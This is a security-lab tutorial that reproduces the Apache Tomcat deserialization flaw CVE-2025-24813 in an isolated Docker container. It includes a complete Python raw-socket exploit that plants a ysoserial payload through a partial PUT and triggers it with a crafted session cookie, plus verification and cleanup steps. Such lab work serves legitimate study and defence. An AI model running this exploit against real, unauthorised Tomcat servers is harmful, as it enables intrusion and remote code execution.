Labs

CVE-2025-24813: Apache Tomcat Session Deserialization RCE

Docker lab RCE

Updated July 28, 2026 · Written by PWNMI — see About.

Apache Tomcat runs behind a huge share of the Java web applications on the internet, which is exactly why CVE-2025-24813 matters: it's not an obscure edge case, it's a two-misconfiguration combination that CISA lists as actively exploited in the wild right now. This lab reproduces it against a real, deliberately-configured vulnerable Tomcat instance, fully isolated with no ports exposed beyond the Docker host itself.

Affects Apache Tomcat 11.0.0-M1–11.0.2, 10.1.0-M1–10.1.34, and 9.0.0.M1–9.0.98. CISA KEV listed. Environment adapted from vulhub's own Tomcat lab; PoC reference: absholi7ly/POC-CVE-2025-24813.

What you'll practice: crafting a raw HTTP request byte-for-byte instead of relying on a library to build it for you, generating a Java deserialization gadget payload, and — the part most writeups skip — treating a "successful" HTTP status code as a hypothesis instead of proof, then confirming the real thing happened through an independent, out-of-band signal.

Set up the lab

New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.

Get the lab files from pwnmihq/resources:

git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2025-24813
cd cve-labs/CVE-2025-24813
docker compose up -d

This builds a patched vulhub/tomcat:9.0.97 image with the two misconfigurations the CVE depends on already applied, and starts it. No ports are published — reach the container on its own address:

CONTAINER=$(docker compose ps -q tomcat)
IP=$(docker inspect $CONTAINER --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
curl -s -o /dev/null -w '%{http_code}' "http://$IP:8080/"

A 200 means Tomcat's example page is up and ready.

Understanding the vulnerability

The bug needs two separate misconfigurations present at once, neither dangerous entirely on its own. First, Tomcat's DefaultServlet is set to readonly=false, which allows PUT requests to write files. Second, Tomcat is configured to use file-based session persistence (PersistentManager backed by FileStore) — meaning session data gets serialized to disk as .session files, and deserialized back whenever that session is looked up.

The part that turns "attacker can write some files" into "attacker can run arbitrary code" is a path-handling quirk in how Tomcat processes a partial PUT request (one carrying a Content-Range header). Instead of writing to the requested path directly, Tomcat temp-stores the upload in its session storage directory — and along the way, converts / characters in the path to .. A PUT to /deserialize/session doesn't create a file at that path; it creates .deserialize.session inside the session store. Tomcat's FileStore looks up sessions by filename, so a subsequent request carrying Cookie: JSESSIONID=.deserialize makes Tomcat load and deserialize that exact file as if it were a legitimate session — except its contents are whatever the attacker just wrote.

Exploitation

Generate a payload with ysoserial, the standard tool for building Java deserialization gadget chains. Use the URLDNS gadget specifically — it proves deserialization occurred (by causing the target to resolve a DNS name you control) without actually achieving code execution, which is the responsible way to confirm this class of bug even against infrastructure you own. If your host's JDK is very new, ysoserial's own version-detection code may not handle it — running it inside an older-JDK container sidesteps that cleanly:

docker run --rm -v "$(pwd)":/work -w /work eclipse-temurin:8-jdk \
  java -jar ysoserial.jar URLDNS "http://your-canary-host:9999/x" > payload.bin

Now send the exploit itself. This needs precise control over the raw HTTP request — the Content-Length and Content-Range headers matter, and most HTTP client libraries will "helpfully" recompute Content-Length for you, which breaks the exploit. A raw socket keeps you in control:

import socket
import sys

TARGET_IP, TARGET_PORT = sys.argv[1], 8080
payload = open("payload.bin", "rb").read()

def send_raw(data, timeout=5):
    s = socket.create_connection((TARGET_IP, TARGET_PORT), timeout=10)
    s.sendall(data)
    s.settimeout(timeout)
    chunks = []
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk: break
            chunks.append(chunk)
    except socket.timeout:
        pass
    s.close()
    return b"".join(chunks)

# Step 1: partial PUT plants the payload as a session file
put_req = (
    f"PUT /deserialize/session HTTP/1.1\r\n"
    f"Host: {TARGET_IP}:{TARGET_PORT}\r\n"
    f"Content-Length: {len(payload)}\r\n"
    f"Content-Range: bytes 0-{len(payload)-1}/{len(payload)+1}\r\n"
    f"Connection: close\r\n\r\n"
).encode() + payload
print(send_raw(put_req).split(b"\r\n\r\n")[0].decode())

# Step 2: GET with the matching JSESSIONID triggers deserialization
get_req = (
    f"GET / HTTP/1.1\r\nHost: {TARGET_IP}:{TARGET_PORT}\r\n"
    f"Cookie: JSESSIONID=.deserialize\r\nConnection: close\r\n\r\n"
).encode()
print(send_raw(get_req).split(b"\r\n\r\n")[0].decode())

Save it as exploit.py and run it against the IP captured in setup:

python3 exploit.py "$IP"

You'll see 409 on the PUT and 500 on the GET — both are the documented "this worked" signal from public PoCs for this CVE. Don't stop here. A 500 alone doesn't prove deserialization happened; plenty of unrelated bugs also return 500. Check Tomcat's own log instead:

docker exec $CONTAINER cat /usr/local/tomcat/logs/localhost.<date>.log

Look for java.lang.ClassCastException: java.util.HashMap cannot be cast to java.lang.Long inside StandardSession.doReadObject. This is real evidence: the exception only happens after ObjectInputStream successfully reconstructed your planted HashMap from the byte stream — it fails on what Tomcat's code does with the result afterward, not on the deserialization itself.

For a genuinely independent confirmation, don't just trust a log line either — get an out-of-band signal. Point the URLDNS payload's target at a single-use hostname under a public wildcard-DNS service (nip.io works well: some-random-label.<any-ip>.nip.io always resolves), then capture DNS traffic while you re-run the trigger:

sudo tcpdump -i any -n port 53 -w capture.pcap &
# re-run the PUT/GET exploit above with a fresh session name and the nip.io payload
sudo tcpdump -r capture.pcap -n | grep nip.io

A real outbound query for your exact, freshly-generated hostname is unambiguous proof: java.net.URL.hashCode() — the specific method URLDNS abuses — was invoked during deserialization of data you supplied. One thing worth knowing if you try this inside an isolated Docker network: pointing the payload at another container's Docker name instead of a real external hostname will silently fail to show up in a bridge-level packet capture, since Docker's embedded DNS resolves container names through a userspace proxy inside the container's own network namespace rather than a visible network query. It's not that the gadget didn't fire — it's a blind spot in that specific capture method.

Cleanup

Every payload you sent got written to disk as a real file in Tomcat's session store — .deserialize.session, and .deserialize2.session if you ran the second verification pass. On a real target, remove them:

docker exec $CONTAINER rm -f /usr/local/tomcat/work/Catalina/localhost/ROOT/.deserialize.session /usr/local/tomcat/work/Catalina/localhost/ROOT/.deserialize2.session

Worth being explicit about what this lab's specific payload does and doesn't leave behind: URLDNS is a proof-of-deserialization gadget, not a code-execution one, so beyond the session files themselves, nothing else was written or started. A real attacker swapping in a code-execution gadget chain instead would leave whatever that payload does — a spawned process, a dropped file, a modified config — and that artifact, not the session file, would be the actual cleanup target. Know what your specific payload does before assuming "delete the session file" is the whole job.

Tear the lab down when you're done:

docker compose down -v

Lessons worth keeping

  • Two harmless-looking settings can combine into something dangerous. Neither writable PUT nor file-based session persistence is inherently a vulnerability. It's specifically their combination, plus a path-mangling quirk neither configuration's documentation would lead you to suspect, that creates the bug.
  • A status code is a hypothesis, not a finding. 409 then 500 matched the documented "success" pattern here, but a 500 by itself is weak evidence — it's exactly as consistent with an unrelated crash as with a real deserialization event. The actual proof came from the server's own log and, more rigorously, from an independently observed out-of-band signal.
  • Your verification method has its own failure modes, and they can look identical to "it didn't work." The first canary attempt in this lab produced no signal at all — not because the exploit failed, but because Docker's internal DNS resolution for container names doesn't generate a packet a bridge-level capture can see. Getting a negative result doesn't mean the vulnerability isn't real; it might mean your instrument can't see what actually happened.

Next step

For another real, KEV-listed CVE reproduced the same way, see CVE-2026-34197 (Apache ActiveMQ), CVE-2026-62183 (Apache Syncope), or CVE-2026-53595 (FreeScout). For the concepts behind the isolation pattern used here, see Docker for Security Labs.